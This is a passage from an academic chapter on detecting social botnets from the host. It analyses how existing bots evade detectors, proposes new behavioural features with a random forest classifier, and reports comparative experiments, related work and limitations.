domain names, protocols, or ports, and a large fraction of the legitimate traffic of
normal computers includes visits to OSN websites.

10.3.2.2 Advanced Evasion Mechanisms

In the arms race between social botnet and the development of detection
methods, social bots have evolved to include new evasion mechanisms and
existing host-side detection methods have not been able to keep pace with them.
We consider the new evasion mechanisms as the advanced evasion mechanisms,
and use Ei to denote the i-th mechanism.
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Ea
1: Exploiting multiple processes. Existing social bots have evolved to exploit

multiple processes to evade detection, such as Fbbot and Wbbot. Social bots
assign malicious behaviors to several processes, and each process performs several
malicious behaviors. Consequently, the suspicion level of each process can drop to
the same level as that for a benign process. Existing detection methods mainly
focus on one process, which can be easily evaded by multiple process bots
[9,18,38]. Multiple process bots have been analyzed in several studies. Ma et al.
present a multiple process mechanism to evade existing behavior-based malware
detection by dividing a malware into multiple “shadow processes” [23]. Ji et al.
present a multiple process mechanism for evading behavior-based bot detection
methods at the end host [24].

Ea
2: Mimicking OSN activities of users or automation applications. Existing

social bots not only perform malicious behaviors but also try to perform behaviors
to decrease the suspicion level. Taking Twitterbot as an example [27], it can not
only fetch botmaster’s tweets but also update its own status like any normal user,
using the status update component. Social bots can automatically update their
status on OSN websites—such as Facebook and Twitter—using random message
applications, such as I Heart Quotes [39]. With these human-mimicking beha-
viors, social bots can effectively confuse existing detection methods. Social bots
also attempt to mimic the behaviors of OSN-related applications, such as
Twitterdeck and Weibo desktop. Based on our observations, these applications
perform OSN activities more frequently than those associated with social bots,
making it difficult to distinguish social behaviors bots from the large range of
OSN application behaviors. This evasion mechanism essentially confuses existing
detection methods.

Ea
3: Multiple command encryption mechanisms. To better hide information,

social bots encrypt messages using various encryption mechanisms. They hide
commands and execution results in encrypted messages, which can be either
a normal sentence or messy code. For example, Nazbot uses Base64-encoded
messages to hide its commands, Wbbot and Fbbot use the Data Encryption Standard
(DES), and Koobface uses simple bitwise-AND and bitwise-OR operations [6].
Although the encryption algorithms are simple, the decryption process can be time
consuming. It is difficult to predict the encryption algorithms used by social bots, and
with so many encryption algorithms, the huge costs of decryption will pose an
impossible challenge. Therefore, detection methods based on the command signature
of the text message are inefficient.

Ea
4: Delayed response. Most existing social bot detection methods analyze the

behaviors within a small time interval or time window, and attackers can set
a random time delay between different behaviors. For example, social bots can
wait for a random amount of time before executing a received command [40,41].
Therefore, receiving commands and the execution of tasks can be split into
different time windows, which can confuse detection methods. However, if you
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set a sufficiently wide time window to solve this problem, it will result in a heavy
overload because of large amounts of stored information. Given that most host
behaviors are similar to human operations or OSN-related applications, social
bots can utilize this mechanism well.

10.3.3 Validation of the Evasion Mechanisms
We will validate the efficacy of these evasion mechanisms in this section. First, we re-
implement three social botnet detection methods, namely Kartaltepe [9], Chu [42],
and CITRIC [38]. Later, we evaluate them against the collected social botnet traces.

We use false positive rate (FPR) and false negative rate (FNR) to denote the
detection results. An FPR represents a benign process that is misclassified as
a social bot, while an FNR represents a social bot that is misclassified as a benign
process. We use a one-hour long trace to evaluate the detection methods
following their experiments, and the detection results are presented in Figure
10.1. On average, all the three detection methods have high FNRs that are over
40%, while all of them have low FNRs (FPR for Kartaltepe is 10.8%, Chu
10.2%, and CITRIC 11.5%). These results indicate that the three methods can
handle benign processes fairly well but are not good enough for the evolving
social bots. Next, we will analyze the evaluation results of each detection method
in detail.

With 10.8% FPR of detection method Kartaltepe indicates that it can identify
benign processes fairly well. However, its 44% FNR indicates that it has a very
low detection rate for social bots. Regarding the specific social bots method
Kartaltepe has a 0% FNR for Nazbot and Twitterbot, a 50% FNR for Yazanbot,
a 54.5% FNR for Wbbot, and over 60% toward Fbbot. The reasons for these
high FNRs can be stated as follows: (1) Although the detection attributes seem
accurate, they are difficult to quantify. Using encoded text processing (Pet p) as an
example, there are many text encoding or encryption methods. If the method
used by social bots is known, then it is a straightforward matter to capture it. For
example, we can capture Nazbot since we know that it uses Base64-encoded
method. However, it is impossible to decrypt if the encryption method is not
known. Fbbot, Nazbot, Twebot, and Wbbot use various encryption mechanisms
(E3), which result in correspondingly high FNRs. (2) The detection attributes are
deterministic, so if the social bots evade one or several rules, they are able to
evade the whole detection method. For example, they may use the advanced
evasion mechanism E4 (delayed response) to split their behaviors into different
time windows. Once they have evaded the detection rule social network request
(Psnr), they can evade the whole detection method.

Detection method Chu also demonstrates a fairly good FPR of 10% and a high
FNR of 54%. It uses behavioral biometrics to classify blog bots, but social bots
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have several mechanisms by which they operate on OSN websites, such as OSN
APIs, RSSs, and the Web Automation Test (WAT). This method can capture the
behaviors of the WAT mechanism, but the other mechanisms cannot be
captured. Since Nazbot and Twebot use the RSS mechanism to receive encrypted
commands, Yazanbot uses Facebook open API to operate on Facebook, and
Twitterbot uses Twitter open API to operate on Twitter, method Chu is unable
to capture their behavioral biometrics, which results in its high FNR. However,
Fbbot and Wbbot use WAT to operate on OSN websites, which can be captured
by method Chu. Although they are captured, Fbbot and Wbbot both use the
advanced evasion mechanism: E2, to mimic the OSN activities of users or
applications. Therefore, method Chu can achieve only a 42.9% FNR for Fbbot,
and 36.4% for Wbbot. We note that method Chu mainly focuses on blog bots,
and especially on the human mimic bot and replay bot. Although blog bots
intersects with social bots to some degree, they exhibit different behaviors. We
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Figure 10.1 The detection result of current methods on social botnet, (a)
denotes the false positive rate (FPR), (b) denotes the false negative rate (FNR).
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confirm that method Chu can yield fairly good detection results for blog bots,
while this detection method must be significantly improved to detect similar
social bots.

Detection method CITRIC also has a fairly good FPR of 11.5%, and also
a high FNR of 58%. This method CITRIC faces several challenges in detecting
benign processes: (1) There may be some delays between a user input and
network traffic, such as an operating system delay, computer performance, or
network delay. If the delay splits the user input and network traffic into different
time intervals, the traffic may be identified as malicious. (2) Automatic applica-
tions—instant message applications, email check applications, and automatic
update applications—cause a lot of confusion in method C. In particular, the
OSN-related automatic applications, such as Tweet deck and Facebook blaster,
can be easily misclassified as social bots.

Method CITRIC faces several challenges with respect to evolving evasion
mechanisms. The first challenge is the advanced evasion mechanism, which
exploits multiple processes (E1). Method CITRIC makes an implicit assumption
that a social bot is a single process. However, if social bots divide their behaviors
into multiple processes, method CITRIC can miss some malicious processes.
Since Fbbot and Wbbot exploit this evasion mechanism, the FN rates for method
CITRIC are 71.4% and 81.8%, respectively. From these results, we see that this
evasion mechanism confuses to method CITRIC. The second challenge is
another advanced evasion mechanism, which while possible [29] has not yet
been deployed by existing social bots. This mechanism is the one in which social
bots will not perform malicious or OSN activities until they have monitored
human activities or even human OSN activities. In this manner, malicious
behaviors are mixed with benign human activities, and thus the traffic of social
bots is mixed with large volumes of benign traffic. This evasion mechanism
confounds another assumption of method CITRIC, which is that bot-originated
traffic is not synchronized with user activity. The FNRs for detecting other social
bots are also somewhat high, e.g., 50% for Yazanbot and 33.3% for Twitterbot.

10.4 Social Botnet Detection
In this section, we design a new social botnet detection method. First, we will
give an overview of our detection method. Later, we will focus on the newly
identified features in detail.

10.4.1 Overview

The framework of our detection method is shown in Figure 10.2. At the heart
of our method is a machine learning method and the related feature extraction.
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Later, we will introduce our detection framework from both training and
testing phases.

In the training phase, we first collect the traces from the hosts that are infected by
the social botnet. Due to the fact that we are doing process-level detection, the
monitors should be able to connect the activities to the specific process. Motiva-
tionally, we choose three different monitors that can satisfy our requirements to
record different traces. Particularly, we record the Registry and File operations with
the Process Monitor from Microsoft [30]. We record the network activities of the
host with Network Monitor from Microsoft [31]. Also, we record the mouse and
keyboard events with a self-written tool. Given the recorded traces, we will parse them
and extract the features that are useful for social botnet detection. Particularly, we use 20
minutes as the time window. During each time window, we count the frequency of
each feature from the recorded logs and use that as the feature value. We not only use
the conventional features but also identify some new features.We will explain the details
of the features in the next section. Note that the labels of the training traces are known.
After getting the features, we will use a machine learning classifier, named RF, to train
a model. RF classifier is an ensemble-based supervised machine learning method [43].
Basically, it constructs a number of DTs, optimizes them with a recursive partition
strategy, and hopes to learn the best model by minimizing the loss value.

In the testing phase, we follow the same workflow, but the labels are not
known. Basically, we record the unknown host activities with the three monitors,
parse the traces, extract the useful features, load the trained RF model, and finally
predict the labels of each process running on the unknown host. Note that the
training phase is offline. Once we have trained an effective model, we are able to
make our detection method run as an online social botnet detector. In the next
section, we will zoom in to our newly identified features.

10.4.2 Newly Identified Features

A robust feature should either be difficult or expensive for a malicious entity to
evade. A feature is difficult to evade if it requires an intrinsic change to perform
malicious activities, whereas a feature is expensive to evade if it requires significant
money, time, or other resources [44]. With respect to the special characteristics of
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Figure 10.2 The framework of our detection method.
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evolving social bots, we identified nine new features and classified them into two
categories—life cycle- and failure-based.

10.4.2.1 Life Cycle-Based Features

To extract features that are ubiquitous in all social bots, we analyze them with
respect to their life cycle. The life cycle of social bots can be divided into five
steps as shown in Figure 10.3. In the first step, infection, social bots use the
successful infection mechanisms of conventional botnets, including malicious
URLs in an email, unwanted malware downloading, and cracked software
installation [45]. Social botnets can also propagate on OSN sites using mal-
icious URLs [6]. After infection, social bots perform some predefined host
behaviors, such as modifying the bootstrap list of a system, or checking Internet
cookies. Consequently, social bots work to build a C&C connection with the
botmaster. Later, the bots execute commands received from the botmaster. If
some of the commands are host-related, social bots return to the second step. If,
instead, some of the commands are OSN or network-related, social bots return
to the third step. Eventually, the bots will send the useful data back to the
botmaster.

We are focusing on social botnet detection from the host, so we omit the
infection step here and make an assumption that social bots have already infected
the host using existing infection mechanisms. Also, sending data back to the
botmaster shares similar behaviors with building C&C connections. In the
following three steps, we identify several new social bot features.

Pre-defined host features. After successful infection, social bots attempt to
perform malicious behaviors that will improve their robustness. These behaviors
are different from those of conventional bots since they mainly target OSN
sites. In this step, we use the four features shown in Table 10.2 to identify the
social bots. The first three features—modifying the bootstrap list of a system,
stealing sensitive information, and process injection—are analyzed in conven-
tional botnet detection [45], and F3 is used in detection approach A. We
identify a new feature, checking Internet cookies, which is a significant social
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Figure 10.3 The life cycle of social botnet.
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bots behavior. Based on our observations, most social bots check Internet
cookies to identify the OSN sites used by the user. For example, the infection
binary of Koobface—Koobface downloader—checks the Internet cookies first.
Then, it reports these OSN site cookies to the Koobface C&C server [6].
Depending on the social network cookies found, Koobface C&C server deter-
mines the additional components that are required for download by the Koob-
face downloader.

C&C connection features. Social bots have many different mechanisms for
establishing C&C connections. Koobface connects to the C&C server through
the HTTP to establish the C&C channel [6], which is the mechanism also
utilized by Yazanbot [3]. Nazbot visits the RSS of some specific user accounts to
establish the C&C channel [9]. Stegobot shares images to establish the C&C
channel using image steganography to hide sensitive information [10]. Facebot
also utilizes image steganography to establish the C&C channel by hiding
sensitive information in user profile pictures [11]. Wbbot and fbbot visit some
specific OSN user profiles to build the C&C connections.

In light of these facts, we use the six features shown in Table 10.3 to identify
the social bots C&C connections. The first two features—F5 the number of
unique IPs contacted and F6 the number of unique domains queried—are used
currently in conventional botnet detection [41,46]. Feature F7, the number of

Table 10.3 The C&C connection features

Index Feature Used or New

F5 Number of unique IPs contacted Used

F6 Number of unique domains queried Used

F7 Number of visited OSN IPs Used

F8 Number of visited OSN accounts New

F9 Number of visited OSN user messages New

F10 Number of visited OSN user pictures New

Table 10.2 The predefined host behaviors

Index Feature Used or New

F1 Modifying bootstrap list of system Used

F2 Stealing sensitive information Used

F3 Process injection Used

F4 Checking Internet cookies New
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visited OSN IPs, is used in detection approaches A, C. In addition to these, we
also identify three new detection features. If the botmaster utilizes OSN accounts
to control social bots, a newly infected host will attempt to visit the botmaster
account. Thus we can identify the new feature F8, the number of visited OSN
accounts, and record this behavior. In several existing social bots, the botmasters
publish their commands as encrypted messages on OSN sites. In this design,
social bots will try to grab the latest messages of the botmaster account. To
combat this behavior, we identify the new feature F9, the number of visited OSN
user messages. As noted above, several social bots utilize image steganography to
hide commands and other information. Therefore, we also identify the new
feature F10, the number of visited OSN user messages, as part of our strategy to
combat this evasion mechanism.

Command execution features. Social bots employ different command receiving
methods than conventional bots. In conventional bots, the command receiving
method is based on a “push” model, whereby bots passively wait for the
botmaster to send commands. In a social botnet, however, the command
receiving method is based on a “pull” model, whereby bots proactively try to
grab commands from the botmaster. After the social bots receive these com-
mands, they attempt to execute them. As shown in Figure 10.3, some of the
commands are host-related, and some are OSN or network-related. After success-
ful command execution, social bots send the gathered information or execution
results to the botmaster. The mechanism by which bots communicate with the
botmaster is similar to that for establishing a C&C connection, except that the
connection is reversed. Social bots attempt to publish the information as a new
message or comment with regard to the corresponding message from the bot-
master. We identify a new feature F12, the number of uploaded OSN messages,
to identify this evasion mechanism. Some social bots also publish images using
image steganography, so we can identify another new feature F13, the number of
uploaded OSN pictures. Note that some social bots still use HTTP-based C&C
channels, thus we use the feature F11 the number of opened ports, which is
effective in combating conventional bots [41]. These three command execution
features are shown in Table 10.4.

Table 10.4 Command execution features

Index Feature Used or New

F11 Number of opened ports Used

F12 Number of uploaded OSN messages New

F13 Number of uploaded OSN pictures New
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10.4.2.2 Failure-Based Features

Existing botnets do not depend exclusively on a single C&C server. They
strengthen their robustness using domain flux, frequent updates of C&C servers,
and a high level of redundancy [47]. For example, the Koobface uses about 100
C&C servers running on compromised hosts. However, botnets can be targeted
by successful node enumeration, infiltration, or take-down operations. Some
C&C server URLs embedded in bot binaries are invalid, which can cause several
network failures. To combat social botnets specifically, most OSN sites have their
own malicious accounts or spam detection systems, such as the Facebook
Immune System [22]. The detection system can identify some accounts con-
trolled by the botmaster, so it is clear that social bots can generate some OSN-
related failures. Update of OSN sites can also cause social bots to generate failure
information. For example, Sina Weibo upgrades to the V 6 version on
October 13th, 2014, caused the original version of Wbbot to generate a lot of
failure information. The same situation happens in social bots when OSN sites
conduct open API upgrades. However, benign OSN applications or human
operations usually do not generate network or OSN failures. Based on these
heuristics, we can identify failure-based features to combat social bots.

Here, we identify three new failure-based features as shown in Table 10.5, F16
the number of failed OSN queries, F17 the number of failed OSN domains, and
F18 the number of failed visited OSN accounts. Note that some social bots still
use HTTP-based C&C channels, so we add two existing features F14, the number
of failed IPs, and F15, the number of failed domains.

10.5 Experiment
In this section, we will show the experiment result. We use several performance
evaluation metrics, including FPR, FNR, true positive rate (TPR), true negative
rate (TNR), precision (P), recall (R), F-measure, and accuracy. Precision is
calculated as TP/(TP + FP), and recall is calculated as TP/(TP + FN). F-measure

Table 10.5 Failure-based features

Index Feature Used or New

F14 Number of failed IPs Used

F15 Number of failed domains Used

F16 Number of failed OSN queries New

F17 Number of failed OSN domains New

F18 Number of failed visited OSN accounts New
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is a measure with the consideration of both precision and recall, which is 2 PR/
(P + R). Accuracy is calculated as (TP + TN)/(TP + TN + FP + FN). We are
using the whole social botnet traces described in Section 10.3.1 in this experi-
ment. Among them, there are 31,165 benign instances, and 4,042 social botnet
instances. For the RF algorithm in our testing, we use the Gini coefficient to
verify the split quality. We set the number of trees to 16, the maximum depth of
each tree to 16.

10.5.1 Comparison with Related Works
In this section, we present the comparison of our method with three existing
social botnet detection methods, i.e., Kartaltepe [9], Chu [42], and CITRIC [38].
All the methods are running on the same training and testing dataset. Figure 10.4
presents the performance comparison of our method with related works in terms
of accuracy and F-measure. Our method is able to significantly outperform the
related works. Particularly, we are able to achieve 0.999 accuracy and 0.992
F-measure, much higher than the best of the related works that only get 0.863
accuracy and 0.503 F-measure value.

Specifically for the accuracy, one can see that our method achieves much higher value
than related works. We are able to successfully detect almost all the benign and social
botnet instances. Particularly, we achieve 0.999 accuracy while the other three works
achieve 0.863, 0.858, and 0.854 for Kartaltepe, Chu, and CITRIC, respectively. The
related works can get acceptable accuracy value mainly because they are able to classify
most benign instances. However, they are not good at detecting the social botnet.

For the F-measure, one can see that our method is able to achieve up to 0.992
value. The combination of accuracy and F-measure can show that our method is
able to detect both benign and social botnet instances. However, the related
works can only get 0.503 F-measure value at most. Particularly, they achieve
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Figure 10.4 Comparison with other social botnet detection methods.
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0.503, 0.455, and 0.456 for Kartaltepe, Chu, and CITRIC, respectively. They
achieve such a low F-measure because they perform badly toward the evolving
social botnet. Note that, the ratio of benign instances over the social botnet
instances is close to 8:1. The imbalanced class distributions explains why they are
able to achieve about 0.86 accuracy, but only about 0.5 F-measure value.

10.5.2 Comparison with Different Machine
Learning Algorithms

Besides the RF algorithm, we further test several other machine learning algo-
rithms. All the algorithms are running the same 10-fold cross validation on the
whole dataset. The compared algorithms are k-nearest neighbor (kNN), DT,
SVM, extra tree (ET), AdaBoost (AB), and multilayer perceptron (MLP).

kNN is an instance-based machine learning algorithm where the learned model
is actually the whole training dataset. The computation happens at the testing
phase, where the class of an unknown instance is determined by the majority class
of its k nearest neighbors. We set k to 5 in our experiment. DT algorithm builds
a tree by setting the leaf node as the classification class and non-leaf node as
a given feature. The learning process recursively split the node to get the lowest
loss values. We use the Gini coefficient to quantify the split quality, and set the
maximum depth of a tree to 16. SVM is a discriminative classifier that finds
a separating plane in the hyper space. The instances contribute to the separating
hyper plane is known as the support vector. We use the radial basis function
(RBF) kernel, and set the penalty of the error term as 1.0. AB is a meta-
algorithm, where it fits the training data on the base estimator, gets the loss
value, and optimizes the base estimator by trying to minimize the loss value. We
use the DT with 1 maximum depth as the base estimator. We use the SAMME.R
real boosting algorithm, and set the learning rate to 1.0. ET is another ensemble-
based machine learning algorithm. It is similar to RF algorithm with the
difference of including a bias-variance analysis. ET is known to be computation-
ally faster while it may suffer from the high-dimensional noisy features. We use
the Gini coefficient to quantify the split quality, set the number of tress to 16,
and set the maximum depth of a tree to 16. MLP is a fully connected neural
network. It includes three kinds of layers, input layer, hidden layer, and output
layer. Each layer has a number of neurons with nonlinear activation functions. It
uses the backpropagation technique to optimize the learned model. In our test,
we use two hidden layers, both with 250 neurons. We set the learning rate as
0.001, and maximum iteration as 1,000. We use the ReLU activation function
and Adam stochastic gradient-based optimizer.

Figure 10.5 presents the performance comparison between RF and other
machine learning algorithms. Basically, RF is able to achieve both the best
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accuracy and F-measure value, which are 0.999 and 0.992, respectively. Specifi-
cally, for the accuracy, one can see that most machine learning methods achieve
rather high values. They are able to achieve 0.985, 0.999, 0.999, 0.998, 0.999, and
0.999 for kNN, DT, SVM, MLP, ET, and AB, respectively. Such a high accuracy
over a bunch of machine learning algorithms denotes the fact that the extracted
features are effective to distinguish the social botnet and benign instance.

For the F-measure value, the different machine learning methods are able to
achieve 0.532, 0.967, 0.959, 0.913, 0.951, and 0.949 for kNN, DT, SVM,
MLP, ET, and AB, respectively. One can see that, the simple kNN algorithm
is not able to achieve a high value due to its bad performance on classifying
social botnet. The other machine learning algorithms are able to achieve
comparable F-measure values. One interesting thing to mention is, although
neural network is supposed to learn a better model, the tested MLP method is
not able to outperform others, which dwells in the effectiveness of our
identified features.

10.5.3 Feature Importance Validation

To understand the effectiveness of our identified features, we identify the importance
of them including both the used and newly identified. We use the recursive feature
elimination method to measure the importance of a feature. Basically, for each
feature, we first prune it from the feature set. Later, we train a model on the pruned
feature set and calculate its performance. The higher the performance is, the less
important the pruned feature will be. We are using the training dataset to measure
the feature importance. We get the feature importance for four previously tested
machine learning algorithms, i.e., DT, ET, AB, and RF. Table 10.6 presents the
feature importance ranking for the four machine learning algorithms.
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Figure 10.5 The detection result with different machine learning algorithms.
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We get several interesting observations from the result. First, DT and AB share
the same feature importance ranking because AB is using the DT as the base
estimator. ET and RF share similar but not the same feature importance ranking
because both of them are ensemble-based learning method on top of
trees. Second, feature F1, modifying bootstrap list of the operating system, ranks
highest among all of them. It makes sense because all the social bots have to get
the automatic bootstrap ability, otherwise they can be easily eliminated by
restarting the system or closing some applications. Third, five of our newly
identified features, F18, F17, F16, F13, F12, are ranked highly in DT and AB. In
ET and RF, F16 and F12 are also ranked highly. Such high ranks of the newly
identified features reflect the effectiveness of our newly identified features.

To this end, one can see that our newly identified features are effective to
detect the social botnet. Some new features are not ranking highly (e.g., F10, F9,
F13, F4), part of the reasons lie in that some of the social botnets in our dataset
are not performing those activities. We prefer to keep these features because some
social botnet have shown to be performing similar activities.

Table 10.6 Feature importance ranking (asterisk denotes our newly
identified features)

Index Decision tree (DT) Extra tree (ET) AdaBoost (AB) Random forest (RF)

F1 1 1 1 1

F2 15 5 15 7

F3 14 3 14 2

F4(∗) 13 7 13 9

F5 12 6 12 5

F6 11 8 11 6

F7 10 9 10 8

F8(∗) 9 15 9 15

F9(∗) 17 17 17 17

F10(∗) 18 18 18 18

F11 16 16 16 16

F12(∗) 8 2 8 3

F13(∗) 7 14 7 14

F14 6 13 6 13

F15 5 12 5 12

F16(∗) 4 4 4 4

F17(∗) 3 11 3 11

F18(∗) 2 10 2 10
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10.5.4 Parameter Study

The parameter selection of a machine learning method plays a vital role to
achieve a good performance. In this section, we will study the impact of different
values for a parameter on the detection performance for the RF algorithm. We
are using precision and recall metric in this experiment. Particularly, we explore
two important parameters, the maximum depth of a tree, and the number of trees
in the forest. Every time we test the different value of one parameter, the other
parameters keep to the same. For each parameter setting, we are running the same
10-fold cross validation.

Figure 10.6 presents the precision and recall value with different maximum
depths. Except the maximum depth parameter changes, all the other parameters
are using the same. When the maximum depth is set to 1, both the precision and
recall values are 0 because it cannot detect any social botnet. With the increase of
maximum depth, the precision and recall values increase accordingly. The
precision and recall values reach their maximum when the maximum depth
arrives at 16, which are 0.988 and 0.996, respectively. The values keep the same
even the maximum depth keeps increasing. Following this observation, we set the
maximum depth of all the tree-related machine learning algorithms to be 16.

Figure 10.7 presents the precision and recall values with different number of
trees. Except the number of trees parameter changes, all the other parameters are
using the same. Basically, when RF is using only one tree, it degrades to be
similar with decision tree algorithm. It gets 0.951 and 0.984 for precision and
recall, respectively. When the number of trees increases to 2 and more, the
precision and recall value increase to 0.988 and 0.996, respectively.

In summary, although the parameters are affecting the performance, we can get
the best performance with most fair values.
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Figure 10.6 The precision and recall value with different maximum depth.
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10.6 Related Work
We will survey the social botnet detection methods from sever- and host-side.

10.6.1 Server-Side Detection
Several works are designed to defend against malicious OSN accounts [48–50]. Yang
et al. propose a Sybil account and character detection approach using a dataset from
a social media, Renren [48]. They study Sybil’s link creation behaviors, fine-grained
behaviors, and behind-the-scenes collusion activities between large groups. Cao et al.
observe that, typically, malicious accounts have loosely synchronized actions in an
OSN [49]. The authors cluster user accounts based on the similarity of their actions,
and detect similarly behaving large groups of malicious accounts. Boshmaf et al.
design a scalable OSN fake account detection approach, Integro, which utilizes a user
ranking scheme [50].

Wagner et al. study the data from the social bot challenge 2011, in which three
teams implemented a number of social bots to influence user behavior on Twitter
[20]. They develop models to identify susceptible users in a set of targets and to
predict users’ levels of susceptibility, according to three different feature groups
(network, behavioral, and linguistic). The results suggest that susceptible users tend
to use Twitter for conversational purposes and tend to be more open and social, by
virtue of their communications with many different users, their use of more social
words, and their demonstration of more affection than non-susceptible users.

Chu et al. propose an approach for classifying human, bot, and cyborg
accounts on Twitter [18]. The authors analyze a collection of over 500, 000
accounts to observe differences between human, bots, and cyborgs with respect to
tweeting behavior, tweet content, and account properties. Based on their
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Figure 10.7 The precision and recall value with different number of trees.
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measurement results, they propose a classification system with four components
—an entropy-based component, a spam detection component, an account-
properties component, and a decision-maker. They will classify them to humans,
bots, and cyborgs based on various combinations of the four components.

Instead of focusing on server side, our work is designed to detect the social
botnet from host side mainly because of two reasons. First, some evasion mechan-
isms, e.g., mimicking user tweeting behaviors, can effectively avoid the server-side
detection methods. Second, there exist many limitations of getting server-side data
due to privacy issues. From the anonymized or incomplete dataset, the analyzed
social botnet behavior or designed detection method may not be convincing.

10.6.2 Host-Side Detection
Tan et al. propose an approach for detecting spam in user-generated content on
social networks [51]. They find that spammers exhibit unique non-textual
patterns, such as posting activities, advertised spam link metrics, and spam
hosting behaviors. Based on these non-textual patterns, they propose an offline
detection approach utilizing several classification methods. Subsequently, they
propose the runtime spam posts detection approach.

Chu et al. employ behavioral biometrics, including mouse and keystroke
dynamics, to distinguish between human and blog bots [42,52]. They develop
a passive, web-page-embedded logger to collect user input activities on a real, active
blog site. By measuring and characterizing the biometric features of user input data,
they discover a number of critical differences between humans and blog bots in how
each surfs web pages and posts comments. Subsequently, they design a detection
system consisting of two components—a web-page-embedded logger and a server-
side detector. The logger continuously monitors user activities and sends them to the
server-side detector. The detector uses a machine-learning-based classifier, which is
tuned with training data for binary classification. The main disadvantage of this
approach is that it relies on software loaded onto the client browser, which can be
difficult to implement and cannot be generalized for all users due to confidentiality
constraints. Francisco et al. suggest that human actions have an inherent pseudo-
periodicity mixed with random (and sometimes chaotic) actions, which are almost
impossible to emulate/simulate [53]. However, at the same time, it is easy to
differentiate this unique human behavior uniqueness from other behavioral patterns.
Therefore, they propose a methodology that jointly analyzes multiple scales of user
interactions within a social network and discriminates between the characteristic
behaviors of humans and bots within a social network.

Pieter et al. propose an approach for detecting social botnet communication by
monitoring user activity [38]. These authors suggest that any communication with
social media is suspicious if it is not generated by human activity. By measuring the
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causal relationship between network traffic and human activities, suspicious activity and
a potential social bots can be detected. However, the causal relationship between human
activities and network traffic is difficult to synchronize. First, it is difficult to quantify
the time interval as there are many dynamically changing factors, such as network delay,
operating system delay, and the performance of different computers. Second, many
advanced social bots do not perform malicious activities unless they are monitoring
human activities. Therefore, malicious activities are mixed in with benign human
activities.

Natarajan et al. develop a detection scheme to detect StegoBots [10], and
analyze the different entropies of images to show that images are generally
sensitive to embedding. Based on their analysis, they select efficient features to
construct the feature set. The authors further propose an ensemble of classifiers
for classifying vulnerable images from social networks.

Erhan et al. propose both server- and host-side detection mechanisms [9]. In
server-side detection, they suggest that if botmasters intend to use social networks for
their C&C channels, they may encode their commands textually. At this point, to
determine whether a message is suspicious, the authors distinguish between encoded
and plain texts and follow un-encoded links to their destination. However, their
assumption is not sufficiently robust to cover most situations. First, social bots may
not use text to encrypt commands, but instead might use steganography or other
encryption methods. Second, there are numerous textual encryption methods, and
social bots can even develop their own encryption methods, thus making it very
difficult for server-side detection mechanisms to cover all possible encryption
methods. In host-side detection, the authors’ use three social bots attributes self-
concealment, dubious network traffic, and unreliable provenance to detect suspicious
social bot processes. They make the implicit assumption that a social bot only one
process in the host. However, this assumption may not hold because, currently, many
bots are evolving for use in multiple processes.

Differently, we first make a deep understanding of the evasion mechanisms of
current social botnets and validate them on three related works. With the new insights,
we design nine new features that can identify the evasion mechanisms. Further, we use
the RF machine learning method to build an effective social botnet detection method.

10.7 Limitation and Future Work
In this section, we will discuss the limitation and envision future works.

10.7.1 Limitation

In our research, we are using six social botnets and only focusing on a few social
websites. Six social botnets are not many and they may not be able to represent
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most cases. However, we have put a lot of efforts to collect as many social botnets
as possible. To facilitate the development of the research community, we also
share the collected source codes, builders, and our collected traces. To the best of
our knowledge, this is the first shared trace toward social botnet.

Another limitation of our dataset is its synthetic nature. Although we tried our
best to make most social botnet act as real and the users of using the host act
normally, the collected dataset is not real social botnet dataset. The whole botnet
research community, especially the social botnet community, is facing this
challenge. I have seen some efforts toward sharing real botnet execution traces.
However, most traces are either anonymized or incomplete due to the privacy
issue. We will look into such datasets and see if there are any good candidates.

Our method is a host-based social botnet detection method. A limitation of
focusing on the host only is that we do not have the knowledge of what is
happening on the targeted social media or the local area network of the host. As
we know, botnet is made up of a large number of infected hosts, the general
knowledge from the social media or the network can provide some other insights
to help identify the social botnet. Limited by the access to the server side of social
media or the local area network, we are able to get such knowledge. However, we
are working in the process of collaborating with a social media and hopeful to
obtain a satisfied dataset. In future, we will try to design a host and server
combined detection method.

In the experiment, the 10-fold cross validation has shown the effectiveness of
our detection method. However, we assume the data distribution of the training
and testing dataset is the same. In the real applications, such assumptions may
not hold all the time. This is a common challenge to most machine-learning-
based solutions. We are seeking some techniques, such as semi-supervised,
unsupervised learning, to resolve this challenge.

10.7.2 Future Work

Botnet analysis and detection has been an exciting research topic. In future, we
will continue to explore the following inspiring directions.

We tested a neural network method in our experiment, but it did not outper-
form others. As we know, deep neural network has achieved great successes in
many areas, such as image classification, natural language processing, and voice
recognition. One big advantage of deep neural network over the conventional
machine learning methods is the fact that it can automatically extract useful
features toward classification or other tasks. In the current shape of our work, we
still rely on manually defined features. Although the features have been shown to
be effective, the evolving social botnet will sure to be able to avoid them in the
future. Therefore, we plan to apply deep neural network on social botnet
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detection and hope to either build a strong model to detect the evolving social
botnet or identify some strong features. One critical challenge toward this
direction is the labeled available dataset because existing successful deep neural
network applications are mostly supervised. We plan to generate more social
botnet and share to the community. In the meantime, we will try to collect more
public available dataset.

Although machine learning methods are shown to be effective toward many
applications, adversarial attacks have been proved to be able to successfully bypass
many machine-learning-based systems [54]. Basically, the adversarial attacks try to
make the machine learning method either misbehave or leak sensitive model
information. Notably, the adversarial attack can happen at both the training and
testing phases. In the training phase, the attackers can add a number of
adversarial samples to mislead the training process, which is called “poison
attack.” In the testing phase, the attackers can generate some samples to make
the machine learning model misbehave. Evasion attack is a common one
happening at the testing phase. We believe our method will be vulnerable to
both poison and evasion attack. To combat such attacks, we will try to build
a robust model with anti-adversarial techniques in future. The adversarial attack
opens an interesting research direction toward the security of machine learning
systems themselves. In future, first we plan to make a deep understanding of the
possible adversarial attacks toward security related applications. Later, we will try
to figure out how to effectively defend such attacks.

Recent advances in transfer learning (or domain adaptation) have shown great
success in solving some limitations, such as lacking enough training dataset. Moti-
vated by the fact that conventional botnet detection has been well studied, we plan to
transfer the learned models on the conventional botnet to the social botnet.

Motivated by the huge benefits behind the botnet, the attackers will definitely
evolve the botnet to some other variants that are more difficult to detect. Recent
attacks have seen the usage of Tor, fast-flux, and P2P techniques. In future, we will
trace the new variants of botnet. We hope to analyze the new variants and unveil
their hiding techniques so that we can develop effective combating techniques before
they become major threats. We believe some of the evasion mechanisms can be well
represented as graph and hope to leverage the advanced graph analytics techniques
to combat [55]. Not limited, we have seen some interesting works of using adaptive
strategies to combat the evolving attacks [56]. For example, one paper designs a self-
adaptive intrusion detection system by leveraging the self-teaching learning techni-
ques and MAPE-K framework [56]. In future, we would like to explore such
techniques for the evolving social botnet detection.

We also observe that the attackers are looking at mobile devices or general
